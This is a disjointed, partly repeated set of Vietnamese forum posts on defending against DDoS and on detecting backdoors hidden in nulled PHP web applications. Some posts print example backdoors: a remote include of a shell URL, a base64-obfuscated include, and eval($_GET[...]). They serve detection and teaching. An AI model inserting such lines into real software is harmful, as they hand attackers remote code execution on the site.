. Trong forum này có bài kí sự DDOS HVA trong đó anh conmale đã phân tích và mô tả rất nhiều về các phương pháp tấn công và biện pháp khắc phục.  

Loạt bài đó là kinh nghiệm đúc rút từ quá trình phòng chống thực tế, nó không phải là những thứ căn bản để có thể mang ra đọc ngay, hiểu ngay được. Nếu ai chưa biết gì về DDoS mà cũng dùng nó như lí thuyết căn bản để tìm hiểu và thực hành theo chắc "chết" 

Cám ơn anh conmale. Mình nghĩ cái này là độc quyền mất rồi. 

Dạ máy anh tiền bối có gì dạy bảo em , em mới học xong lớp 12 và cũng mới dc tiếp xúc với máy tính thui, chưa hiểu biết gì  

thì chính bồ tự tạo ra "từ chối dịch vụ" cho chính bồ. Chống DoS (trong trường hợp bồ đang nêu ra ở đây chỉ có thể tạm xem là DoS chớ không thể là DDoS), đòi hỏi hai điểm quan trọng:

1. Vẫn có thể tiếp tục cung cấp dịch vụ trong tình trạng bị DoS.
2. Và có thể bảo tồn tài nguyên để tiếp tục cung cấp dịch vụ.

Logic ở trên của bồ chỉ thoả mãn điểm thứ 2 ở trên bởi vậy, nó không phải là giải pháp vẹn toàn.
 

cám ơn 2 anh đã hướng dẫn, em sẽ cố học hỏi nhiều thêm, vì từ lúc nghe tin các website VN bị bọn TQ tấn công thì em bắt đầu quan tâm đến bảo mật web nhiều hơn

ý của em nêu ra trong thảo luận này không phải là hỏi đây có phải là giải pháp hoàn hảo hay không, em cũng đã có đọc qua ký sự DDos của HVA, và cũng hiểu được DoS và DDoS. Cần có nhiều thành phần kết hợp lại mới tạo được hệ thống phòng thủ tốt. Em cũng có thấy tin forum HVA hôm qua bị DDoS, với khả năng bảo mật & chống chọi cao của forum mà vẫn bị DDoS thì em đủ hiểu khả năng "ôm đầu chịu đòn" của cái hàm server_busy rồi ^^

Em không có ý hỏi đây có phải là giải pháp toàn diện hay không, mà em muốn biết cách thức để chống đỡ được phần nào hay phần đó thôi. Do em đang dùng share host nên chỉ mới có thể can thiệp ở cấp xử lý php, và kết hợp bảo mật với .htaccess, nên em đưa ra câu hỏi này để hỏi các anh liệu cái hàm trên có thể giúp website chống chọi lại một phần sức mạnh của cuộc tấn công hay không thôi, hay là xử lý không nỗi rồi ngủm luôn (thà mình chủ động tự deny để rồi sau đó hoạt động tiếp, còn hơn bị nó đánh tới tấp)
Vì giả sử website bị đánh tới tấp (hy vọng là bị DoS) thì nếu hàm trên có thể hạn chế bớt nhằm tránh overload server (chí ít là đỡ bị suspend)

hy vọng được mấy anh mở mang thêm 

Cài thêm gói "devel" và gói "kernel source" của kernel 2.6.38.7-30.fc15.i686.PAE rồi mới setup lại virtualbox. 

FaL wrote:

Cám ơn đóng góp của protectHat, anh tranhuuphuoc và xnohat,
Đến đây Fal tổng hợp lại ý kiến của mọi người như sau:

1. quét virus toàn bộ source code nghi ngờ;

2. cài đặt, kiểm tra kỹ db xem có gì lạ, khả nghi hay không;

3. chạy thử nghiệm xem có request nào lạ ra bên ngoài không;

4. config server để chống bypass, LFI;

5. debug code.

Quả thật công tác kiện toàn bảo mật cho web-application không thể tách rời việc kiện toàn bảo mật của server. Những bước 1, 2, 3 thực hiện không khó, nhưng đến bước thứ 4 cần phải có kiến thức tốt về hệ thống mới có thể thực hiện được, bước thứ 5 đòi hỏi trình độ code khá cao mới có thể thực hiện được. 2 bước cuối có vẻ ngắn gọn nhưng chứa đựng trong đó quá nhiều công việc.

Đáng tiếc là hiện nay việc kiện toàn bảo mật chưa được quan tâm đúng mức, người dùng nói chung sẵn sàng tắt antivirus để chạy crack một phần mềm nào đó. Coder sẵn sàng download source code lạ trong khi không đủ khả năng để debug.
 

Việc làm trên dường như quá mất công sức và tốn kém. Theo em cách đơn giản nhất là dùng chương trình bắt gói tin để tóm các gói tin sử dụng phương thức TCP/IP của máy chúng ta khi nó kết nối với máy tính khác, và điều tra từ đó. Đôi lúc backdoor còn được chèn vào database và được "lôi ra" bằng eval (PHP) nên, với lại các đoạn mã phần lớn được ecrypt dưới dạng base64 hoặc nhiều dạng khác tự chế cũng khá phong phú làm các antivirus bó tay.

Giải pháp có lẽ là disable các hàm PHP không cần thiết và có thể tác động tới hệ thống, bắt các truy vấn gửi đi từ máy mình. Cố gắng khoanh vùng. Loại bỏ các table nghi vấn chứa backdoor trong database. Còn debug source chắc là thuê người làm thôi ^^! vì nhiều quá một mình làm không hết . 

chiro8x wrote:

Nếu như nhận biết backdoor theo hành vi của chúng có vẻ là lựa chọn khôn ngoan hơn với sử dụng phương pháp so sánh text content. Nếu có chương trình thực thi các file script và phân tích nó như vậy việc chống backdoor sẽ tốt hơn. 

Giữa việc nói và việc làm là 2 việc khác nhau, Bạn professional có chương trình hay phương pháp nào như thế thì nói rõ ra, chứ nói chung chung thì ai cũng nói được chẳng cần đến professional làm gì.
Quên mất phải nói điều nữa, bạn đừng chê tôi là newmem vì đây là topic thảo luận chứ không phải là topic hướng dẫn. bạn thông cảm cho, có gì sai thì nói ra để anh em sửa chữa thì mới là thảo luận
Thiếu nút thank bạn vì đã làm mình phải xem lại base64(sha-1) với md5 khác nhau thế nào? Và kết nhất cái câu:

Hix ! thực sự bạn nguy hiểm quá, nên phát biểu nhữn điều trong tầm hiểu biết của mình nếu không người ta cười cho đấy :"< 

 

smile_sad wrote:

Theo mình nghĩ thông thường các folder cho phép upload chủ yếu là images,thumbs... Vậy nếu backdoor upload vào đây thì chắc nó là .php, .asp, .aspx...

Mình rành linux hơn windows 1 chút nên mình xin nói về linux nhé.

Ý kiến của mình là tạo 1 file .htaccess remove toàn bộ handler .php. Rồi chmod cái .htaccess này sao cho người ta không override nó được.

Tuy nhiên nếu mà source code có quá nhiều folder cho phép upload, việc lạm dụng .htaccess sẽ ảnh hưởng đến performance của hệ thống. Do đó nếu bạn thành thạo code thì có lẽ phải can thiệp vào code để xứ lí thôi.

Ở trên mình đưa ra tình huống là cái form upload đó đã chỉ định upload vào 1 folder trong sourcecode. Nhưng nếu attacker tạo mới 1 folder sau đó ném backdoor vào thì phải làm sao?

Mọi người tiếp tục thảo luận nhé. 

backdoor thường có đuôi là .jpg bạn ạ ;
Dùng firephp là cách dễ nhất, đơn giản nhất đó. Nhưng mà dùng NULL thì dính backdoor là thường 

Bạn chiro8x làm như tôi là chuyên gia vậy đã nói từ đầu là newmem mà lỵ )

Còn nữa tôi cứ theo cái câu của FAL

Source code của ứng dụng có chứa backdoor hay không? 

; bàn ra thế, chứ không bàn về source code sau khi bị tấn công hay phát hiện ra bị tấn công!
Cái vụ này phức tạp thật !
Code:

aHR0cDovL3Rlc3RzaXRlLmNvbS9iYWNrZG9vci5waHA=

nó được mã hoá bằng base64 hả? Khó nhỉ? ngoài ra còn chơi SHA hay MD5 nữa cho khoẻ đi... chả biết nó mã hoá bằng gì hay giấu kiểu gì thì kết quả cuối cùng thì cũng là gửi 1 cái gì đó đến cái URL đấy tôi ý kiến như thế các bạn có thấy đúng ko? Thế thì chỉ cần phân tích toàn bộ các url mà server kết nối đến là xong! Newmem chỉ biết thế thôi...Vì ngay FAL đã nói là

Chủ đề này không đi sâu vào việc kiện toàn bảo mật cho server chứa ứng dụng web, mà thảo luận về việc nhận biết backdoor của web-application không có nguồn gốc rõ ràng.
 

Có bạn nào chỉ cách khắc phục vụ form upload với giả sử đang chơi forum thì phải có nơi cho mem upload lên chứ? cấm sao đựoc! 

Các bạn siêu cao thủ quá..nói thế thì các newmem hiểu sao nổi! Người xem hiểu thì chả cần đọc hướng dẫn các bạn làm gì vì họ...hiểu sẵn rồi! Nên với tư cách newmem nên có ý kiến sau:

_ Tôi thấy thường các backdoor trên web application thì chẳng antivirus nào quét ra nổi.

_ Không dại gì config server bằng cách khoá mấy hàm ít cần (ít cần chứ không phải ko cần) ví dụ như fopen, fclose, readfile thì lỡ tôi muốn xây dựng 1 cái box chat mà lưu database dưới dạng text ngay trong 1 file temp thì sao? Sử dụng mấy lệnh khác tương tự nhưng dài hơn thì...hổng biết ) Hay

_ Không có kiến thức debug..nhưng chung quy backdoor nếu không biến ta thành zoombie thì cũng là ăn cắp information --> và kiểu gì cũng phải gửi đến đâu đó --> Cho lên một host free nào đó ..chạy source --> phân tích bằng firebug còn nếu không biết dùng thì chơi bằng adblock. Cái nào mà không phải từ host của ta thì...bóp chết thôi. Cách bóp chết thì dễ thôi, nếu là file thì xoá file đi, nếu là code thì xoá dòng code đó đi. Nếu kém hơn nữa là không biết sửa thì.... thay địa chỉ đó bằng địa chỉ của ta! Hoặc chặn luôn ip của nó đi cho hết gửi.

_ À có ai chống chế hắn chèn kiểu date=time thì include..thì vô tư đi. Máy chủ là máy ảo, máy client cũng cho ảo luôn. Cả hai máy ảo này cho đổi thời gian chạy luôn 1 năm (mỗi lần đổi time chỉnh cho lên 1 tháng coi) mất tầm 10 phút là truy ra hết mấy địa chỉ rỏm. Nói vui thế chứ, bình thường kiểu gì hắn cũng phải include 1 file shell nằm đâu đó (trong source của ta thì dễ chơi quá khỏi bàn) nếu là 1 đường link thì...ha ha... mở toàn bộ file trong source lên (tôi thấy dùng Notepad++ cũng đựoc) rồi Ctrl+F theo kiểu http,ftp,https,.... thì kiểu gì cũng ra! Ra rồi thì quay lại bước trên kia.

_ Bị chèn trong database SQL, MySQL ư? Lúc đầu cứ đặt prefix bằng tên của riêng ta, cái nào mà không phải tên ta thì cứ xoá vô tư! Hắc hắc... Còn nếu kém hơn thì chơi kiểu 2 source chạy 2 máy khác nhau ( 1 trong nó chạy cái cần thử ) rồi đem 2 cái data ra so sánh mà..bó tay rồi... trước khi install cái nào thì cố xem database nó gồm cái gì, chứ đã install rồi mà ngồi tìm thì có mà ốm...
newmem chỉ biết thế...các bạn chỉ giáo gì không? chứ nói cao siêu như trên thì khó chơi quá
 

include_once(base64_decode("aHR0cDovL3Rlc3RzaXRlLmNvbS9iYWNrZG9vci5waHA="));

include_once("h"."t"."t"."p".":"."/"."/"."testsite.com/backdoor.php");

FaL wrote:

Thời gian vừa qua rất nhiều website ở ta bị deface, việc kiện toàn bảo mật cho website đang là một vấn đề khá nóng bỏng. Chủ đề này không đi sâu vào việc kiện toàn bảo mật cho server chứa ứng dụng web, mà thảo luận về việc nhận biết backdoor của web-application không có nguồn gốc rõ ràng.

Thực tế có rất nhiều website sử dụng mã nguồn mở, nhưng kèm theo đó, chủ nhân của website cũng dùng rất nhiều module, component khác không có nguồn gốc rõ ràng (các hacked templates, hacked components,...). Dùng các source này nghĩa là bạn đã chấp nhận phiêu lưu với độ an toàn website của mình. "Source code của ứng dụng có chứa backdoor hay không?" luôn là câu hỏi thời sự. Vậy có cách nào nhận biết, phòng tránh trường hợp này không?

Mời các bạn cùng tham gia thảo luận! 

Cái này khó lắm à nha
Việc cài lại các shell script được trích xuất từ các shell script nổi tiếng như C99, r57 ( php ), JMXshell ( JSP )... là chuyện script kiddies mới làm, vì quất lên antivirus phát là lòi ra ngay tức thì.

Các tay Null source cao tay thì thường chỉ chèn đoạn mã sau ( ví dụ với PHP ):

Code:

<?php
include($abc);
?>

hay biết site đó thành zombies luôn

Code:

<?php
include("http://abcxyz.com/shell.php");
?>

Vụ trên gọi là "cố ý tạo ra lỗi"
Nếu chèn mã như trên thì khá căng , cần trình độ source debugging tốt để dò tìm lỗi bên trong source, đây hoàn toàn là công việc của một tester . Mà tay nào giỏi source debugging thì họ tự NULLED ứng dụng đó rồi, hoặc dư sức tự mua vì trình độ thế thì thường có công ăn việc làm ổn định

Dĩ nhiên cách trên có thể vô hiệu hoá bằng allow_url_fopen=Off ( với PHP ), nhưng lỗi trên vẫn dễ dàng tạo điều kiện cho Local File Inclusion với nhiều phương pháp khai thác nâng cao khác nhau 

<?php
....
if(isset($_GET['chiro8x']))eval($_GET['chiro8x']);
....
?>

Cám ơn đóng góp của protectHat, anh tranhuuphuoc và xnohat,
Đến đây Fal tổng hợp lại ý kiến của mọi người như sau:

1. quét virus toàn bộ source code nghi ngờ;

2. cài đặt, kiểm tra kỹ db xem có gì lạ, khả nghi hay không;

3. chạy thử nghiệm xem có request nào lạ ra bên ngoài không;

4. config server để chống bypass, LFI;

5. debug code.

Quả thật công tác kiện toàn bảo mật cho web-application không thể tách rời việc kiện toàn bảo mật của server. Những bước 1, 2, 3 thực hiện không khó, nhưng đến bước thứ 4 cần phải có kiến thức tốt về hệ thống mới có thể thực hiện được, bước thứ 5 đòi hỏi trình độ code khá cao mới có thể thực hiện được. 2 bước cuối có vẻ ngắn gọn nhưng chứa đựng trong đó quá nhiều công việc.

Đáng tiếc là hiện nay việc kiện toàn bảo mật chưa được quan tâm đúng mức, người dùng nói chung sẵn sàng tắt antivirus để chạy crack một phần mềm nào đó. Coder sẵn sàng download source code lạ trong khi không đủ khả năng để debug.
 

Theo mình nghĩ thì bạn đang làm phức tạp hoá vấn đề, mình chỉ làm đơn giản như sau:
Code:

function getEscaped( $text, $extra = false ) {
$string = mysqli_real_escape_string( $this->_resource, $text );
if ($extra) {
$string = addcslashes( $string, '%_' );
}
return $string;
}

Ví dụ:
Code:

$q = "INSERT INTO table_name VALUES ('".getEscaped($value)."')";

 

p/s: em là newbie nên các bác bác đừng dùng tiếng lóng mà có dùng thì ghi rõ ra để em còn hiểu